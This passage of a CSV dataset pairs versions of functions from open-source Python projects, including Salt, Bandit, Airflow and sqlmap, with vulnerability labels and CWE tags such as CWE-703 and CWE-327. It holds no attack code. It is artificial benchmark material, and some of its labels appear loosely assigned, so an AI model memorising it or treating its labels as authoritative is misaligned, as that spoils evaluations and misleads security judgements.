        if api_type == OpenAIAPIType.OPENAI:
            base_url = self.openai_config.openai_api_base or ""https://api.openai.com/v1""
            if api_version := self.openai_config.openai_api_version is not None:
                return append_to_uri_query_params(base_url, (""api-version"", api_version))
            else:
                return base_url
        elif api_type in (OpenAIAPIType.AZURE, OpenAIAPIType.AZUREAD):
            openai_url = append_to_uri_path(
                self.openai_config.openai_api_base,
                ""openai"",
                ""deployments"",
                self.openai_config.openai_deployment_name,
            )
            return append_to_uri_query_params(
                openai_url,
                (""api-version"", self.openai_config.openai_api_version),
            )
        else:
            raise MlflowException.invalid_parameter_value(
                f""Invalid OpenAI API type '{self.openai_api_type}'""
            )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/pillar/git_pillar.py,0,"def __virtual__():
    '''
    Only load if gitpython is available
    '''
    ext_pillar_sources = [x for x in __opts__.get('ext_pillar', [])]
    if not any(['git' in x for x in ext_pillar_sources]):
        return False
    if not HAS_GIT:
        log.error('Git fileserver backend is enabled in configuration but '
                  'could not be loaded, is gitpython installed?')
        return False
    if not git.__version__ > '0.3.0':
        return False
    return 'git'",,saltstack/salt,4225337e220cc30ef11b315570250ba75e6fa062,"def __virtual__():
    '''
    Only load if gitpython is available
    '''
    if not HAS_GIT:
        log.error('Git fileserver backend is enabled in configuration but '
                  'could not be loaded, is gitpython installed?')
        return False
    if not git.__version__ > '0.3.0':
        return False
    return 'git'"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/custom.py,0,"def report(manager, fileobj, sev_level, conf_level, template=None):
    """"""Prints issues in custom format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param template: Output template with non-terminal tags <N>
                    (default: '{abspath}:{line}:
                    {test_id}[bandit]: {severity}: {msg}')
    """"""

    machine_output = {'results': [], 'errors': []}
    for (fname, reason) in manager.get_skipped():
        machine_output['errors'].append({'filename': fname,
                                         'reason': reason})

    results = manager.get_issue_list(sev_level=sev_level,
                                     conf_level=conf_level)

    msg_template = template
    if template is None:
        msg_template = ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

    # Dictionary of non-terminal tags that will be expanded
    tag_mapper = {
        'abspath': lambda issue: os.path.abspath(issue.fname),
        'relpath': lambda issue: os.path.relpath(issue.fname),
        'line': lambda issue: issue.lineno,
        'col': lambda issue: issue.col_offset,
        'test_id': lambda issue: issue.test_id,
        'severity': lambda issue: issue.severity,
        'msg': lambda issue: issue.text,
        'confidence': lambda issue: issue.confidence,
        'range': lambda issue: issue.linerange
    }

    # Create dictionary with tag sets to speed up search for similar tags
    tag_sim_dict = dict(
        [(tag, set(tag)) for tag, _ in tag_mapper.items()]
    )

    # Parse the format_string template and check the validity of tags
    try:
        parsed_template_orig = list(string.Formatter().parse(msg_template))
        # of type (literal_text, field_name, fmt_spec, conversion)

        # Check the format validity only, ignore keys
        string.Formatter().vformat(msg_template, (), SafeMapper(line=0))
    except ValueError as e:
        LOG.error(""Template is not in valid format: %s"", e.args[0])
        sys.exit(2)

    tag_set = {t[1] for t in parsed_template_orig if t[1] is not None}
    if not tag_set:
        LOG.error(""No tags were found in the template. Are you missing '{}'?"")
        sys.exit(2)

    def get_similar_tag(tag):
        similarity_list = [(len(set(tag) & t_set), t)
                           for t, t_set in tag_sim_dict.items()]
        return sorted(similarity_list)[-1][1]

    tag_blacklist = []
    for tag in tag_set:
        # check if the tag is in dictionary
        if tag not in tag_mapper:
            similar_tag = get_similar_tag(tag)
            LOG.warning(
                ""Tag '%s' was not recognized and will be skipped, ""
                ""did you mean to use '%s'?"", tag, similar_tag
            )
            tag_blacklist += [tag]

    # Compose the message template back with the valid values only
    msg_parsed_template_list = []
    for literal_text, field_name, fmt_spec, conversion in parsed_template_orig:
        if literal_text:
            # if there is '{' or '}', double it to prevent expansion
            literal_text = re.sub('{', '{{', literal_text)
            literal_text = re.sub('}', '}}', literal_text)
            msg_parsed_template_list.append(literal_text)

        if field_name is not None:
            if field_name in tag_blacklist:
                msg_parsed_template_list.append(field_name)
                continue
            # Append the fmt_spec part
            params = [field_name, fmt_spec, conversion]
            markers = ['', ':', '!']
            msg_parsed_template_list.append(
                ['{'] +
                [""%s"" % (m + p) if p else ''
                 for m, p in zip(markers, params)] +
                ['}']
            )

    msg_parsed_template = """".join([item for lst in msg_parsed_template_list
                                   for item in lst]) + ""\n""
    with fileobj:
        for defect in results:
            evaluated_tags = SafeMapper(
                (k, v(defect)) for k, v in tag_mapper.items()
            )
            output = msg_parsed_template.format(**evaluated_tags)

            fileobj.write(output)

    if fileobj.name != sys.stdout.name:
        LOG.info(""Result written to file: %s"", fileobj.name)",UNKNOWN,PyCQA/bandit,82db41a1c1f2d55c0a1fafc9250580639d82342d,"def report(manager, fileobj, sev_level, conf_level, template=None):
    """"""Prints issues in custom format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param template: Output template with non-terminal tags <N>
                    (default: '{abspath}:{line}:
                    {test_id}[bandit]: {severity}: {msg}')
    """"""

    machine_output = {'results': [], 'errors': []}
    for (fname, reason) in manager.get_skipped():
        machine_output['errors'].append({'filename': fname,
                                         'reason': reason})

    results = manager.get_issue_list(sev_level=sev_level,
                                     conf_level=conf_level)

    msg_template = template
    if template is None:
        msg_template = ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

    # Dictionary of non-terminal tags that will be expanded
    tag_mapper = {
        'abspath': lambda issue: os.path.abspath(issue.fname),
        'relpath': lambda issue: os.path.relpath(issue.fname),
        'line': lambda issue: issue.lineno,
        'test_id': lambda issue: issue.test_id,
        'severity': lambda issue: issue.severity,
        'msg': lambda issue: issue.text,
        'confidence': lambda issue: issue.confidence,
        'range': lambda issue: issue.linerange
    }

    # Create dictionary with tag sets to speed up search for similar tags
    tag_sim_dict = dict(
        [(tag, set(tag)) for tag, _ in tag_mapper.items()]
    )

    # Parse the format_string template and check the validity of tags
    try:
        parsed_template_orig = list(string.Formatter().parse(msg_template))
        # of type (literal_text, field_name, fmt_spec, conversion)

        # Check the format validity only, ignore keys
        string.Formatter().vformat(msg_template, (), SafeMapper(line=0))
    except ValueError as e:
        LOG.error(""Template is not in valid format: %s"", e.args[0])
        sys.exit(2)

    tag_set = {t[1] for t in parsed_template_orig if t[1] is not None}
    if not tag_set:
        LOG.error(""No tags were found in the template. Are you missing '{}'?"")
        sys.exit(2)

    def get_similar_tag(tag):
        similarity_list = [(len(set(tag) & t_set), t)
                           for t, t_set in tag_sim_dict.items()]
        return sorted(similarity_list)[-1][1]

    tag_blacklist = []
    for tag in tag_set:
        # check if the tag is in dictionary
        if tag not in tag_mapper:
            similar_tag = get_similar_tag(tag)
            LOG.warning(
                ""Tag '%s' was not recognized and will be skipped, ""
                ""did you mean to use '%s'?"", tag, similar_tag
            )
            tag_blacklist += [tag]

    # Compose the message template back with the valid values only
    msg_parsed_template_list = []
    for literal_text, field_name, fmt_spec, conversion in parsed_template_orig:
        if literal_text:
            # if there is '{' or '}', double it to prevent expansion
            literal_text = re.sub('{', '{{', literal_text)
            literal_text = re.sub('}', '}}', literal_text)
            msg_parsed_template_list.append(literal_text)

        if field_name is not None:
            if field_name in tag_blacklist:
                msg_parsed_template_list.append(field_name)
                continue
            # Append the fmt_spec part
            params = [field_name, fmt_spec, conversion]
            markers = ['', ':', '!']
            msg_parsed_template_list.append(
                ['{'] +
                [""%s"" % (m + p) if p else ''
                 for m, p in zip(markers, params)] +
                ['}']
            )

    msg_parsed_template = """".join([item for lst in msg_parsed_template_list
                                   for item in lst]) + ""\n""
    with fileobj:
        for defect in results:
            evaluated_tags = SafeMapper(
                (k, v(defect)) for k, v in tag_mapper.items()
            )
            output = msg_parsed_template.format(**evaluated_tags)

            fileobj.write(output)

    if fileobj.name != sys.stdout.name:
        LOG.info(""Result written to file: %s"", fileobj.name)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/test_set.py,0,"def _load_builtins(self, filtering, profile):
        '''loads up builtin functions, so they can be filtered.'''

        class Wrapper:
            def __init__(self, name, plugin):
                self.name = name
                self.plugin = plugin

        extman = extension_loader.MANAGER
        blacklist = profile.get('blacklist')
        if not blacklist:  # not overridden by legacy data
            blacklist = {}
            for node, tests in six.iteritems(extman.blacklist):
                values = [t for t in tests if t['id'] in filtering]
                if values:
                    blacklist[node] = values

        if not blacklist:
            return []

        # this dresses up the blacklist to look like a plugin, but
        # the '_checks' data comes from the blacklist information.
        # the '_config' is the filtered blacklist data set.
        setattr(blacklisting.blacklist, ""_test_id"", 'B001')
        setattr(blacklisting.blacklist, ""_checks"", blacklist.keys())
        setattr(blacklisting.blacklist, ""_config"", blacklist)
        return [Wrapper('blacklist', blacklisting.blacklist)]",UNKNOWN,PyCQA/bandit,4bfa1b69be6de4e34eb8bd89e5248833be61b12b,"def _load_builtins(self, filtering, profile):
        '''loads up builtin functions, so they can be filtered.'''

        class Wrapper:
            def __init__(self, name, plugin):
                self.name = name
                self.plugin = plugin

        extman = extension_loader.MANAGER
        blacklist = profile.get('blacklist')
        if not blacklist:  # not overriden by legacy data
            blacklist = {}
            for node, tests in six.iteritems(extman.blacklist):
                values = [t for t in tests if t['id'] in filtering]
                if values:
                    blacklist[node] = values

        if not blacklist:
            return []

        # this dresses up the blacklist to look like a plugin, but
        # the '_checks' data comes from the blacklist information.
        # the '_config' is the filtered blacklist data set.
        setattr(blacklisting.blacklist, ""_test_id"", 'B001')
        setattr(blacklisting.blacklist, ""_checks"", blacklist.keys())
        setattr(blacklisting.blacklist, ""_config"", blacklist)
        return [Wrapper('blacklist', blacklisting.blacklist)]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/playbook/role/__init__.py,0,"def has_run(self, host):
        '''
        Returns true if this role has been iterated over completely and
        at least one task was run
        '''

        return host.name in self._completed and not self._metadata.allow_duplicates",,ansible/ansible,fb797a9e7786a3fde70e7de34ccf9ac3946501b3,"def has_run(self, host):
        '''
        Returns true if this role has been iterated over completely and
        at least one task was run
        '''

        return host.name in self._completed and not self._metadata.allow_duplicates"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/auth/models.py,0,"def get_by_natural_key(self, name):
        return self.get(name=name)",CWE-Unknown,django/django,50f89ae850f6b4e35819fe725a08c7e579bfd099,"def get_by_natural_key(self, name):
        return self.get(name=name)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/ec2.py,0,"def get_console_output(
        name=None,
        location=None,
        instance_id=None,
        call=None,
        kwargs=None,
    ):
    '''
    Show the console output from the instance.

    By default, returns decoded data, not the Base64-encoded data that is
    actually returned from the EC2 API.
    '''
    if call != 'action':
        raise SaltCloudSystemExit(
            'The get_console_output action must be called with '
            '-a or --action.'
        )

    if location is None:
        location = get_location()

    if not instance_id:
        instance_id = _get_node(name)[name]['instanceId']

    if kwargs is None:
        kwargs = {}

    if instance_id is None:
        if 'instance_id' in kwargs:
            instance_id = kwargs['instance_id']
            del kwargs['instance_id']

    params = {'Action': 'GetConsoleOutput',
              'InstanceId': instance_id}

    ret = {}
    data = aws.query(params,
                     return_root=True,
                     location=location,
                     provider=get_provider(),
                     opts=__opts__,
                     sigver='4')

    for item in data:
        if next(six.iterkeys(item)) == 'output':
            ret['output_decoded'] = binascii.a2b_base64(next(six.itervalues(item)))
        else:
            ret[next(six.iterkeys(item))] = next(six.itervalues(item))

    return ret",,saltstack/salt,810c6dbcbea20f49dd87a48d3e6421a7b262ceb1,"def get_console_output(
        name=None,
        location=None,
        instance_id=None,
        call=None,
        kwargs=None,
    ):
    '''
    Show the console output from the instance.

    By default, returns decoded data, not the Base64-encoded data that is
    actually returned from the EC2 API.
    '''
    if call != 'action':
        raise SaltCloudSystemExit(
            'The get_console_output action must be called with '
            '-a or --action.'
        )

    if location is None:
        location = get_location()

    if not instance_id:
        instance_id = _get_node(name)[name]['instanceId']

    if kwargs is None:
        kwargs = {}

    if instance_id is None:
        if 'instance_id' in kwargs:
            instance_id = kwargs['instance_id']
            del kwargs['instance_id']

    params = {'Action': 'GetConsoleOutput',
              'InstanceId': instance_id}

    ret = {}
    data = aws.query(params,
                     location=location,
                     provider=get_provider(),
                     opts=__opts__,
                     sigver='4')

    for item in data:
        if next(six.iterkeys(item)) == 'output':
            ret['output_decoded'] = binascii.a2b_base64(next(six.itervalues(item)))
        else:
            ret[next(six.iterkeys(item))] = next(six.itervalues(item))

    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/tests/conftest.py,0,"def make_ti_context() -> MakeTIContextCallable:
    """"""Factory for creating TIRunContext objects.""""""
    from airflow.sdk.api.datamodels._generated import DagRun, TIRunContext
    from airflow.utils.state import DagRunState

    def _make_context(
        dag_id: str = ""test_dag"",
        run_id: str = ""test_run"",
        logical_date: str | datetime = ""2024-12-01T01:00:00Z"",
        data_interval_start: str | datetime = ""2024-12-01T00:00:00Z"",
        data_interval_end: str | datetime = ""2024-12-01T01:00:00Z"",
        clear_number: int = 0,
        start_date: str | datetime = ""2024-12-01T01:00:00Z"",
        run_after: str | datetime = ""2024-12-01T01:00:00Z"",
        run_type: str = ""manual"",
        task_reschedule_count: int = 0,
        conf: dict[str, Any] | None = None,
        should_retry: bool = False,
        max_tries: int = 0,
        consumed_asset_events: Sequence[AssetEventDagRunReference] = (),
    ) -> TIRunContext:
        return TIRunContext(
            dag_run=DagRun(
                dag_id=dag_id,
                run_id=run_id,
                logical_date=logical_date,  # type: ignore
                data_interval_start=data_interval_start,  # type: ignore
                data_interval_end=data_interval_end,  # type: ignore
                clear_number=clear_number,  # type: ignore
                start_date=start_date,  # type: ignore
                run_type=run_type,  # type: ignore
                run_after=run_after,  # type: ignore
                state=DagRunState.RUNNING,
                conf=conf,  # type: ignore
                consumed_asset_events=list(consumed_asset_events),
            ),
            task_reschedule_count=task_reschedule_count,
            max_tries=max_tries,
            should_retry=should_retry,
        )

    return _make_context",CWE-Unknown,apache/airflow,35d23c3222472ef354acc34fd3a76237bced727b,"def make_ti_context() -> MakeTIContextCallable:
    """"""Factory for creating TIRunContext objects.""""""
    from airflow.sdk.api.datamodels._generated import DagRun, TIRunContext

    def _make_context(
        dag_id: str = ""test_dag"",
        run_id: str = ""test_run"",
        logical_date: str | datetime = ""2024-12-01T01:00:00Z"",
        data_interval_start: str | datetime = ""2024-12-01T00:00:00Z"",
        data_interval_end: str | datetime = ""2024-12-01T01:00:00Z"",
        clear_number: int = 0,
        start_date: str | datetime = ""2024-12-01T01:00:00Z"",
        run_after: str | datetime = ""2024-12-01T01:00:00Z"",
        run_type: str = ""manual"",
        task_reschedule_count: int = 0,
        conf: dict[str, Any] | None = None,
        should_retry: bool = False,
        max_tries: int = 0,
        consumed_asset_events: Sequence[AssetEventDagRunReference] = (),
    ) -> TIRunContext:
        return TIRunContext(
            dag_run=DagRun(
                dag_id=dag_id,
                run_id=run_id,
                logical_date=logical_date,  # type: ignore
                data_interval_start=data_interval_start,  # type: ignore
                data_interval_end=data_interval_end,  # type: ignore
                clear_number=clear_number,  # type: ignore
                start_date=start_date,  # type: ignore
                run_type=run_type,  # type: ignore
                run_after=run_after,  # type: ignore
                conf=conf,  # type: ignore
                consumed_asset_events=list(consumed_asset_events),
            ),
            task_reschedule_count=task_reschedule_count,
            max_tries=max_tries,
            should_retry=should_retry,
        )

    return _make_context"
,UNKNOWN,UNKNOWN,tests/providers/redis/sensors/test_redis_pub_sub.py,1,"def test_poke_mock_false(self, mock_redis_conn):
        sensor = RedisPubSubSensor(
            task_id=""test_task"", dag=self.dag, channels=""test"", redis_conn_id=""redis_default""
        )

        mock_redis_conn().pubsub().get_message.return_value = {
            ""type"": ""subscribe"",
            ""channel"": b""test"",
            ""data"": b""d1"",
        }

        result = sensor.poke(self.mock_context)
        assert not result

        context_calls = []
        assert self.mock_context[""ti""].method_calls == context_calls, ""context calls should be same""",CWE-703,apache/airflow,29a59de237ccd42a3a5c20b10fc4c92b82ff4475,"def test_poke_mock_false(self, mock_redis_conn):
        sensor = RedisPubSubSensor(
            task_id=""test_task"", dag=self.dag, channels=""test"", redis_conn_id=""redis_default""
        )

        mock_redis_conn().pubsub().get_message.return_value = {
            ""type"": ""subscribe"",
            ""channel"": b""test"",
            ""data"": b""d1"",
        }

        result = sensor.poke(self.mock_context)
        assert not result

        context_calls = []
        assert self.mock_context[""ti""].method_calls == context_calls, ""context calls should be same"""
,UNKNOWN,UNKNOWN,tests/api/common/experimental/test_mark_tasks.py,1,"def test_set_state_without_commit(self):
        date = self.execution_dates[0]
        dr = self._create_test_dag_run(State.RUNNING, date)
        self._set_default_task_instance_states(dr)

        will_be_altered = set_dag_run_state_to_running(self.dag1, date, commit=False)

        # None of the tasks will be altered.
        assert len(will_be_altered) == 0
        self._verify_dag_run_state(self.dag1, date, State.RUNNING)
        self._verify_task_instance_states_remain_default(dr)

        will_be_altered = set_dag_run_state_to_failed(self.dag1, date, commit=False)

        # Only the running task should be altered.
        expected = self._get_num_tasks_with_starting_state(State.RUNNING, inclusion=True)
        assert len(will_be_altered) == expected
        self._verify_dag_run_state(self.dag1, date, State.RUNNING)
        self._verify_task_instance_states_remain_default(dr)

        will_be_altered = set_dag_run_state_to_success(self.dag1, date, commit=False)

        # All except the SUCCESS task should be altered.
        expected = self._get_num_tasks_with_starting_state(State.SUCCESS, inclusion=False)
        assert len(will_be_altered) == expected
        self._verify_dag_run_state(self.dag1, date, State.RUNNING)
        self._verify_task_instance_states_remain_default(dr)",CWE-703,apache/airflow,50a1504c524257e53eff06589b71973cfab5bf54,"def test_set_state_without_commit(self):
        date = self.execution_dates[0]
        dr = self._create_test_dag_run(State.RUNNING, date)
        self._set_default_task_instance_states(dr)

        will_be_altered = set_dag_run_state_to_running(self.dag1, date, commit=False)

        # None of the tasks will be altered.
        assert len(will_be_altered) == 0
        self._verify_dag_run_state(self.dag1, date, State.RUNNING)
        self._verify_task_instance_states_remain_default(dr)

        will_be_altered = set_dag_run_state_to_failed(self.dag1, date, commit=False)

        # Only the running task shouldbe altered.
        expected = self._get_num_tasks_with_starting_state(State.RUNNING, inclusion=True)
        assert len(will_be_altered) == expected
        self._verify_dag_run_state(self.dag1, date, State.RUNNING)
        self._verify_task_instance_states_remain_default(dr)

        will_be_altered = set_dag_run_state_to_success(self.dag1, date, commit=False)

        # All except the SUCCESS task should be altered.
        expected = self._get_num_tasks_with_starting_state(State.SUCCESS, inclusion=False)
        assert len(will_be_altered) == expected
        self._verify_dag_run_state(self.dag1, date, State.RUNNING)
        self._verify_task_instance_states_remain_default(dr)"
,UNKNOWN,UNKNOWN,lib/core/dump.py,1,"def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None
        appendToFile = False
        warnFile = False

        if tableValues is None:
            return

        db = tableValues[""__infos__""][""db""]
        if not db:
            db = ""All""
        table = tableValues[""__infos__""][""table""]

        if conf.api:
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication(os.path.join(conf.dumpPath, ""%s.sqlite3"" % unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                try:
                    os.makedirs(dumpDbPath)
                except:
                    warnFile = True

                    _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
                    dumpDbPath = os.path.join(conf.dumpPath, ""%s-%s"" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))

                    if not os.path.isdir(dumpDbPath):
                        try:
                            os.makedirs(dumpDbPath)
                        except Exception as ex:
                            tempDir = tempfile.mkdtemp(prefix=""sqlmapdb"")
                            warnMsg = ""unable to create dump directory ""
                            warnMsg += ""'%s' (%s). "" % (dumpDbPath, getSafeExString(ex))
                            warnMsg += ""Using temporary directory '%s' instead"" % tempDir
                            logger.warn(warnMsg)

                            dumpDbPath = tempDir

            dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, ""%s.%s"" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
            if not checkFile(dumpFileName, False):
                try:
                    openFile(dumpFileName, ""w+b"").close()
                except SqlmapSystemException:
                    raise
                except:
                    warnFile = True

                    _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
                    if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
                        _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
                        dumpFileName = os.path.join(dumpDbPath, ""%s-%s.%s"" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                    else:
                        dumpFileName = os.path.join(dumpDbPath, ""%s.%s"" % (_, conf.dumpFormat.lower()))
            else:
                appendToFile = any((conf.limitStart, conf.limitStop))

                if not appendToFile:
                    count = 1
                    while True:
                        candidate = ""%s.%d"" % (dumpFileName, count)
                        if not checkFile(candidate, False):
                            try:
                                shutil.copyfile(dumpFileName, candidate)
                            except IOError:
                                pass
                            break
                        else:
                            count += 1

            dumpFP = openFile(dumpFileName, ""wb"" if not appendToFile else ""ab"", buffering=DUMP_FILE_BUFFER_SIZE)

        count = int(tableValues[""__infos__""][""count""])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(list(tableValues.keys()))

        if conf.col:
            cols = conf.col.split(',')
            columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0)

        for column in columns:
            if column != ""__infos__"":
                info = tableValues[column]
                lines = ""-"" * (int(info[""length""]) + 2)
                separator += ""+%s"" % lines

        separator += ""+""
        self._write(""Database: %s\nTable: %s"" % (unsafeSQLIdentificatorNaming(db) if db else ""Current database"", unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != ""__infos__"":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == "" "":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == "" "":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, ""<!DOCTYPE html>\n<html>\n<head>\n"")
            dataToDumpFile(dumpFP, ""<meta http-equiv=\""Content-type\"" content=\""text/html;charset=%s\"">\n"" % UNICODE_ENCODING)
            dataToDumpFile(dumpFP, ""<meta name=\""generator\"" content=\""%s\"" />\n"" % VERSION_STRING)
            dataToDumpFile(dumpFP, ""<title>%s</title>\n"" % (""%s%s"" % (""%s."" % db if METADB_SUFFIX not in db else """", table)))
            dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
            dataToDumpFile(dumpFP, ""\n</head>\n<body>\n<table>\n<thead>\n<tr>\n"")

        if count == 1:
            self._write(""[1 entry]"")
        else:
            self._write(""[%d entries]"" % count)

        self._write(separator)

        for column in columns:
            if column != ""__infos__"":
                info = tableValues[column]

                column = unsafeSQLIdentificatorNaming(column)
                maxlength = int(info[""length""])
                blank = "" "" * (maxlength - len(column))

                self._write(""| %s%s"" % (column, blank), newline=False)

                if not appendToFile:
                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, ""%s"" % safeCSValue(column))
                        else:
                            dataToDumpFile(dumpFP, ""%s%s"" % (safeCSValue(column), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, ""<th>%s</th>"" % getUnicode(cgi.escape(column).encode(""ascii"", ""xmlcharrefreplace"")))

                field += 1

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, ""\n</tr>\n</thead>\n<tbody>\n"")

        self._write(""|\n%s"" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, ""\n"" if not appendToFile else """")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = ""console output will be trimmed to ""
            warnMsg += ""last %d rows due to "" % TRIM_STDOUT_DUMP_SIZE
            warnMsg += ""large table size""
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, ""<tr>"")

            for column in columns:
                if column != ""__infos__"":
                    info = tableValues[column]

                    if len(info[""values""]) <= i:
                        continue

                    if info[""values""][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info[""values""][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info[""length""])
                    blank = "" "" * (maxlength - len(value))
                    self._write(""| %s%s"" % (value, blank), newline=False, console=console)

                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = getText(magic.from_buffer(value, mime=True))
                            if any(mimetype.startswith(_) for _ in (""application"", ""image"")):
                                if not os.path.isdir(dumpDbPath):
                                    os.makedirs(dumpDbPath)

                                _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
                                filepath = os.path.join(dumpDbPath, ""%s-%d.bin"" % (_, randomInt(8)))
                                warnMsg = ""writing binary ('%s') content to file '%s' "" % (mimetype, filepath)
                                logger.warn(warnMsg)

                                with openFile(filepath, ""w+b"", None) as f:
                                    _ = safechardecode(value, True)
                                    f.write(_)

                        except magic.MagicException as ex:
                            logger.debug(getSafeExString(ex))

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, ""%s"" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, ""%s%s"" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, ""<td>%s</td>"" % getUnicode(cgi.escape(value).encode(""ascii"", ""xmlcharrefreplace"")))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, ""\n"")
            elif conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, ""</tr>\n"")

            self._write(""|"", console=console)

        self._write(""%s\n"" % separator)

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
            logger.info(""table '%s.%s' dumped to sqlite3 database '%s'"" % (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, ""</tbody>\n</table>\n</body>\n</html>"")
            else:
                dataToDumpFile(dumpFP, ""\n"")
            dumpFP.close()

            msg = ""table '%s.%s' dumped to %s file '%s'"" % (db, table, conf.dumpFormat, dumpFileName)
            if not warnFile:
                logger.info(msg)
            else:
                logger.warn(msg)",CWE-327,sqlmapproject/sqlmap,752aed29860a86bfce09ad6eea8785f28637e6df,"def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None
        appendToFile = False
        warnFile = False

        if tableValues is None:
            return

        db = tableValues[""__infos__""][""db""]
        if not db:
            db = ""All""
        table = tableValues[""__infos__""][""table""]

        if conf.api:
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication(os.path.join(conf.dumpPath, ""%s.sqlite3"" % unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                try:
                    os.makedirs(dumpDbPath)
                except:
                    warnFile = True

                    _ = re.sub(r""[^\w]"", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
                    dumpDbPath = os.path.join(conf.dumpPath, ""%s-%s"" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))

                    if not os.path.isdir(dumpDbPath):
                        try:
                            os.makedirs(dumpDbPath)
                        except Exception as ex:
                            tempDir = tempfile.mkdtemp(prefix=""sqlmapdb"")
                            warnMsg = ""unable to create dump directory ""
                            warnMsg += ""'%s' (%s). "" % (dumpDbPath, getSafeExString(ex))
                            warnMsg += ""Using temporary directory '%s' instead"" % tempDir
                            logger.warn(warnMsg)

                            dumpDbPath = tempDir

            dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, ""%s.%s"" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
            if not checkFile(dumpFileName, False):
